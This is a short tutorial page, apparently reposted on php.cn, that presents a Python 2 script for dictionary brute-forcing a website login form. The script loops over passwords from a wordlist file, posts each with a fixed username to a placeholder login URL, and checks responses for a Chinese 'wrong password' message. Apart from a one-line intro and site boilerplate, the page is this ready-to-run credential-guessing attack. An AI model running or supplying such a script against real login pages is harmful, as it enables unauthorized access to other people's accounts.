Password brute force cracking using python

高洛峰
Release: 2016-10-18 10:31:30
Original
3168 people have browsed it

According to the dictionary file, use python to perform brute force cracking. The procedure is very simple

Note: For the case where there is no verification code

Example code:

#encoding=utf-8
import httplib,urllib
conn = httplib.HTTPConnection("www.xxx.cn")
f=open("dict.txt")
while 1:
    pwd=f.readline().strip()
    if not pwd:
        print '字典已比对完。'
        break
    params = urllib.urlencode({'username': 'xxx', 'mod': '', 'password': pwd})
    headers = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
    conn.request("GET", "/login/aaa.asp", params, headers)
    r = conn.getresponse()
    print r.status, r.reason
    data1 = r.read().decode('gbk')#编码根据实际情况酌情处理
    print data1.index(u'您输入的密码有误'),'您输入的密码\'%s\'有误'%pwd
conn.close()
Copy after login


source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!